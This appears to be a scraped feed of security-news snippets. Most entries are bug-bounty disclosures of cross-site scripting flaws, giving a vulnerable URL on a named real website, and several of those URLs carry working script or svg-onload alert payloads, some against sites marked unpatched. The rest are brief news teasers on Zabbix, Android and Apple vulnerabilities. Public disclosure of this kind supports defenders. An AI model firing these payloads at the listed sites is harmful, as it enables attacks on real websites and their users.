shoppingpenha.com.br XSS vulnerability

Vulnerable URL: http://www.shoppingpenha.com.br/?s=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017...

Zabbix Agent 3.0.1 mysql. size shell command injection

CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection Affected products ================= At least Zabbix Agent 1:3.0.1-1+wheezy from http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions were not tested. Background ========== "Zabbix agent is deployed on a...

wersalik.pl XSS vulnerability

Vulnerable URL: http://www.wersalik.pl/szukaj.php?a=szukaj==1grid=3keyword= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 552862 VIP website status:| No Check wersalik.pl SSL...

Joshua Drake on Android Security Post-Stagefright

Joshua Drake of Zimperium Labs talks to Mike Mimoso about the last year post-Stagefright, the effectiveness of Google’s monthly patching cycle, and some of the security enhancements forthcoming in Android N. Download: JoshuaDrakeonPost-StagefrightAndroid.mp3 Music by Chris Gonsalves...

Export-Grade Crypto Patching Improves

LAS VEGAS – The FREAK, LOGJAM and DROWN attacks of the last 17 months weren’t just the work of academics and security researchers who found a cool way to unmask encrypted traffic. They were ugly reminders of the Crypto Wars of the 1990s and why export-grade cryptography and intentional encryption...

cefor.be XSS vulnerability

Vulnerable URL: http://www.cefor.be/DBEnora/Enora/Partenaire/1identification.php?Q=' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2083146 VIP website status:| No Check cefor.be S...

careers.weather.com XSS vulnerability

Vulnerable URL: https://careers.weather.com/w/talentcommunity/subscribe/?slp=/talentcommunity/profile/%27-prompt%28%27OPENBUGBOUNTY%27%29-%27 Details: Description| Value ---|--- Patched:| Yes, at 18.08.2016 Latest check for patch:| 18.08.2016 11:04 GMT Vulnerability type:| XSS Vulnerability...

musicdownloadfree.xyz XSS vulnerability

Vulnerable URL: http://musicdownloadfree.xyz/search.php?id=%22%3E%3C%2Ftitle%3E%27%3E%3B%3C%2Fscript%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 22:48 GMT Vulnerability type:| XSS...

mobilbekas.co.id XSS vulnerability

Vulnerable URL: http://www.mobilbekas.co.id/sitesearch.php?smake=12model="scondition=0yearfrom=0yearto=0pricefrom=0priceto=140000000mileagefrom=0mileageto=location=0sortby=idorder=descrow=10 Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:45...

Beware! Your iPhone Can Be Hacked Remotely With Just A Message

In Brief Do you own an iPhone? Mac? Or any Apple device? Just one specially-crafted message can expose your personal information, including your authentication credentials stored in your device's memory, to a hacker. The vulnerability is quite similar to the Stagefright vulnerabilities, discovere...

epson.nl XSS vulnerability

Vulnerable URL: https://www.epson.nl/search/products?search=" Details: Description| Value ---|--- Patched:| Yes, at 08.07.2017 Latest check for patch:| 08.07.2017 13:07 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 479516 VIP website status:| No Check epson.nl...

nehosoc.nl XSS vulnerability

Vulnerable URL: http://www.nehosoc.nl/zoeken.php?s=monsters=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check nehosoc.nl SSL...

thepavement.org.uk XSS vulnerability

Vulnerable URL: http://www.thepavement.org.uk/search.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7655694 VIP website status:| No Check thepavement.org.uk SSL connection:|...

cnlegalsearch.com XSS vulnerability

Vulnerable URL: http://www.cnlegalsearch.com/search/addtocart.php?id=1425%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:38 GMT Vulnerability type:| XSS Vulnerability status:|...

skinrxclinic.com XSS vulnerability

Vulnerable URL: http://skinrxclinic.com/searchresults.php?search=Search=1terms=http://www.michaelrose.com/searchresults.php?searchterm=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

0day vulnerabilities: hackers from the BMW portal tampering with car information-bug warning-the black bar safety net

http://www.zdnet.com/Article/hackers-can-tamper-with-car-registration-through-bmw-connected-car-portal/ ! ConnectedDrive portal and BMW of the domain is very vulnerable,the hacker can not patch the vulnerability to attack. Researchers have recently disclosed the impact of the BMW the BMW website...

July 2016 Android Security Bulletin

The frail world of the Android ecosystem has taken some hits in the past week with the disclosure of a full disk encryption bypass vulnerability and the arrival of the HummingBad malware. The FDE bypass highlighted the need to keep Android patch levels current, but as Duo Labs statistics point ou...

paulstein.co.za XSS vulnerability

Vulnerable URL: http://www.paulstein.co.za/cat4.php?catID=5" Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12367015 VIP website status:| No Check...

marvac.com XSS vulnerability

Vulnerable URL: http://www.marvac.com/SearchResult.aspx?KeyWords=" Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3835080 VIP website status:| No Check...

ciesasdocencia.mx XSS vulnerability

Vulnerable URL: http://ciesasdocencia.mx/bh.php?dm=homero.com.mx";;alert'OPENBUGBOUNTY';function zif0// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...